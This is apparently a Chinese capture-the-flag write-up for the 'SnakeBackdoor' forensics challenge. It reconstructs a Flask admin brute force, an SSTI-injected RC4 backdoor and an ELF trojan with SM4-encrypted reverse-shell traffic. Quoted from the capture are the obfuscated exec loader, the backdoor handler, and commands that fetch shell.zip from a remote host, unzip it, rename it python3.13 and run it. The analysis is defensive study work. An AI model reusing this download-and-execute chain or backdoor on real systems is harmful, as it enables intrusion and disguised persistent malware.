玄机靶场-第三届-长城杯-初赛-SnakeBackdoor WP

玄机靶场-第三届"长城杯"初赛-SnakeBackdoor WP

困难级别,6步,综合考察流量分析 + Flask SSTI漏洞利用 + RC4加密逆向 + ELF二进制逆向 + LD_PRELOAD Hook技术。整条攻击链从爆破后台到植入Python伪装木马,最后通过SM4加密反弹Shell拿到flag,链路清晰但每步都有一定深度。


1. 爆破后台密码

第一步要找攻击者爆破成功的那个密码。打开流量包,过滤 HTTP 流量,直接翻 /admin/login 的请求记录。爆破过程会产生大量 POST 请求,大部分返回 200 或 401,唯一那条返回 302 跳转的就是密码正确的那次。

在 Wireshark 里用 http.request.method == "POST" && http contains "/admin/login" 过滤,倒着看找到最后一条 302,跟进 HTTP 流查看 POST 的 body:

复制代码
username=admin&password=zxcvbnm123

302 跳转说明登录成功,密码就是 zxcvbnm123

Flag 1:flag{zxcvbnm123}


2. 获取 Flask SECRET_KEY

攻击者登录后台后,利用了 Flask 应用的某个漏洞读取到了 SECRET_KEY。在流量包里直接搜索关键字 SECRET_KEY,很快就能在 HTTP 响应体里找到:

复制代码
SECRET_KEY = c6242af0-6891-4510-8432-e1cdf051f160

这个 SECRET_KEY 是 Flask session 签名密钥,拿到之后攻击者可以伪造任意 session,进一步利用后台功能。漏洞点在 /admin/preview 接口,是一个 SSTI(服务端模板注入)漏洞,通过 preview_content 参数注入恶意模板表达式,读取了应用配置。

Flag 2:flag{c6242af0-6891-4510-8432-e1cdf051f160}


3. 分析注入 Payload 中的加密密钥

拿到 SECRET_KEY 后,攻击者继续利用 /admin/preview 的 SSTI 注入了一段 Python 木马 Payload。追踪下一条 /admin/preview 的 POST 流量,在 preview_content 参数里能看到一段混淆的 base64 代码:

python 复制代码
import base64; exec(base64.b64decode('XyA9IGxhbWJkYSBfXyA6IF9faW1wb3J0X18oJ3psaWInKS...'))

exec 改成 print 运行,得到第一层解码结果:

python 复制代码
_ = lambda __ : __import__('zlib').decompress(__import__('base64').b64decode(__[::-1]));
exec((_)(b'=c4CU3xP+//vPzftv8gri635a0T1rQv...'))

这是一个递归加密结构:base64 + zlib 反转多层嵌套。编写脚本递归解密所有层,最终得到木马的核心代码:

python 复制代码
RC4_SECRET = b'v1p3r_5tr1k3_k3y'

def rc4_crypt(data: bytes, key: bytes) -> bytes:
    S = list(range(256))
    j = 0
    for i in range(256):
        j = (j + S[i] + key[i % len(key)]) % 256
        S[i], S[j] = S[j], S[i]
    i = j = 0
    res = bytearray()
    for char in data:
        i = (i + 1) % 256
        j = (j + S[i]) % 256
        S[i], S[j] = S[j], S[i]
        res.append(char ^ S[(S[i] + S[j]) % 256])
    return bytes(res)

def backdoor_handler():
    if request.headers.get('X-Token-Auth') != '3011aa21232beb7504432bfa90d32779':
        return "Error"
    enc_hex_cmd = request.form.get('data')
    ...
    cmd = rc4_crypt(enc_cmd, RC4_SECRET).decode('utf-8')
    ...

木马使用 RC4 对称加密隐藏通信内容,密钥字符串硬编码为 v1p3r_5tr1k3_k3y,并通过 X-Token-Auth 请求头做身份验证。

Flag 3:flag{v1p3r_5tr1k3_k3y}


4. 找到木马本体文件名

木马后门通过 X-Token-Auth: 3011aa21232beb7504432bfa90d32779 头部认证,在流量包里搜索这个 token 值,找到所有后门通信流量。

用上一步拿到的 RC4 密钥 v1p3r_5tr1k3_k3y 编写解密脚本,批量解密所有 data 字段的十六进制密文:

python 复制代码
import binascii

RC4_SECRET = b'v1p3r_5tr1k3_k3y'

def rc4_crypt(data: bytes, key: bytes) -> bytes:
    S = list(range(256))
    j = 0
    for i in range(256):
        j = (j + S[i] + key[i % len(key)]) % 256
        S[i], S[j] = S[j], S[i]
    i = j = 0
    res = bytearray()
    for char in data:
        i = (i + 1) % 256
        j = (j + S[i]) % 256
        S[i], S[j] = S[j], S[i]
        res.append(char ^ S[(S[i] + S[j]) % 256])
    return bytes(res)

def decrypt(enc_hex_cmd):
    enc_cmd = binascii.unhexlify(enc_hex_cmd)
    cmd = rc4_crypt(enc_cmd, RC4_SECRET).decode('utf-8', errors='ignore')
    print(cmd)

解密后还原出攻击者执行的完整命令序列:

复制代码
id
uid=0(root) gid=0(root) groups=0(root)

ls -al
total 36
drwxr-xr-x  5 root root  4096 Dec 20 13:55 .
...
-rw-r--r--  1 root root  2284 Dec 20 13:55 app.py

curl 192.168.1.201:8080/shell.zip -o /tmp/123.zip
unzip -P nf2jd092jd01 -d /tmp /tmp/123.zip
Archive:  /tmp/123.zip
  inflating: /tmp/shell

mv /tmp/shell /tmp/python3.13
chmod +x /tmp/python3.13
/tmp/python3.13

攻击者从 C2 下载了一个 shell.zip(密码 nf2jd092jd01),解压得到二进制文件 shell,然后把它改名为 python3.13 伪装成 Python 解释器,再赋权执行。木马本体文件名就是 python3.13

Flag 4:flag{python3.13}


5. 逆向分析木马通信加密密钥

这一步需要对 python3.13(即 shell)这个 ELF 二进制文件进行逆向分析。

用 DIE(Detect It Easy)查壳,确认无壳,是标准 ELF 可执行文件。用 IDA Pro 分析主入口点:

  • 程序建立 TCP 连接到 C2 地址 192.168.1.201:58782
  • 连接成功后先接收 4 字节握手数据
  • 然后调用 sub_18ED(recv 封装)读取 4 字节种子值
  • 用这个种子调用 srand() 初始化随机数生成器
  • 连续调用 4 次 rand(),将返回的 4 个 32 位整数拼成 16 字节密钥数组 v8
  • 后续所有通信数据都用这个动态生成的密钥加密(SM4 算法)

关键逻辑: 程序通过 Socket 接收到的是大端序字节流,在存入 seed 前需要进行字节序转换:

c 复制代码
seed = (command_ >> 8) & 0xFF00 | (command_ << 8) & 0xFF0000 | (command_ << 24) | HIBYTE(command_);

在 Wireshark 里用以下过滤规则找到种子数据包:

复制代码
(ip.src == 192.168.1.201 && tcp.port == 58782) && tcp.len == 4

第一条结果的内容就是种子:34952046(十六进制)。

编写 C 程序还原密钥(注意必须在 Linux/Kali 上编译,因为 Windows 和 Linux 的 rand() 实现不同):

c 复制代码
#include <stdio.h>
#include <stdlib.h>
#define HIBYTE(x) (((x) >> 24) & 0xFF)

int main() {
    unsigned int seed = 0x34952046;
    srand(seed);
    for (int i = 0; i <= 3; i++) {
        unsigned int r = rand();
        unsigned char *ptr = (unsigned char *)&r;
        for (int j = 0; j < 4; j++) {
            printf("%02x", ptr[j]);
        }
    }
    return 0;
}

在 Kali Linux 上编译运行,得到 16 字节密钥(hex):

复制代码
ac46fb610b313b4f32fc642d8834b456

Flag 5:flag{ac46fb610b313b4f32fc642d8834b456}


6. 获取服务器上的 flag

最后一步需要解密木马与 C2 之间的加密通信,还原攻击者在服务器上执行的命令和获取的 flag。

由于木马使用 SM4 加密且密钥是动态生成的,直接静态分析解密较为复杂。这里采用 LD_PRELOAD Hook 技术:通过劫持 connectrandrecvpopenpclosesend 等系统函数,让木马在本地"空跑",将流量包中的密文注入程序,由程序自己完成解密,再通过 hook 的 popen 打印出明文命令。

核心 Hook 逻辑:

  • connect:直接返回 0,绕过 C2 连接检查
  • rand:返回预设密钥 ac46fb610b313b4f32fc642d8834b456 的各字节,确保密钥一致
  • recv:按顺序注入从流量包中提取的密文长度和密文数据
  • popen:拦截并打印解密后的明文命令,不实际执行
  • pclose / send:返回正常值,防止程序因管道错误退出

从 Wireshark 追踪流 1827(ip.src == 192.168.1.201 && tcp.port == 58782tcp.len == 4 的第一条结果),提取所有密文长度和密文对,注入 Hook 代码后编译运行:

bash 复制代码
gcc -fPIC -shared -o hook.so hook.c -ldl
LD_PRELOAD=./hook.so ./python3.13

注意: 出题人在流量包中将字符 1l0O 互换进行了混淆,需要手动还原后再注入。

程序解密输出的最终命令序列中包含服务器上的 flag:

复制代码
flag{6894c9ec-719b-4605-82bf-4fe1de27738f}

Flag 6:flag{6894c9ec-719b-4605-82bf-4fe1de27738f}


总结

这道题完整还原了一条从 Web 爆破到持久化驻留的攻击链:攻击者爆破 Flask 后台 → 利用 SSTI 漏洞注入多层混淆的 RC4 后门 → 通过后门下载并执行伪装成 Python 解释器的 ELF 木马 → 木马使用动态 PRNG 密钥 + SM4 加密建立反弹 Shell → 最终读取服务器 flag。

Flag 汇总:

步骤 内容 Flag
1 爆破成功的后台密码 flag{zxcvbnm123}
2 Flask SECRET_KEY flag{c6242af0-6891-4510-8432-e1cdf051f160}
3 RC4 加密密钥字符串 flag{v1p3r_5tr1k3_k3y}
4 木马本体文件名 flag{python3.13}
5 SM4 通信加密密钥(hex) flag{ac46fb610b313b4f32fc642d8834b456}
6 服务器 flag flag{6894c9ec-719b-4605-82bf-4fe1de27738f}
相关推荐
ZKNOW甄知科技2 小时前
燕千云ITR深度解析:大型企业如何建立服务价值流?
运维·人工智能·后端·科技·安全·自动化·用户运营
huizhixue-IT2 小时前
华为职业认证新版全景图及重认证规则变更预通知-5月7日开始生效!Datacom和 Security支持跨技术方向的重认证!
运维·服务器
小樱花的樱花2 小时前
Linux文件系统的类型和结构
linux·运维·服务器
手揽回忆怎么睡2 小时前
低负载构建版 Docker/WSL 配置,把宿主机卡顿压到最低
运维·docker·容器
IT利刃出鞘2 小时前
Spring工具类--AnnotationUtils的使用
java·spring
我喜欢山,也喜欢海3 小时前
Java和go在并发上的表现为什么不一样
java·python·golang
Wenzar_4 小时前
**零信任架构下的微服务权限控制:用Go实现基于JWT的动态访问策略**在现代云原生环境中,
java·python·微服务·云原生·架构
JZC_xiaozhong10 小时前
数据不互通、审批慢?企业多系统智能协同与流程自动化解决方案
运维·自动化·流程管理·流程自动化·数据集成与应用集成·流程监控·流程可视化设计
爱学习的小囧10 小时前
ESXi 8.0 原生支持 NVMe 固态硬盘吗?VMD 配置详解教程
linux·运维·服务器·esxi·esxi8.0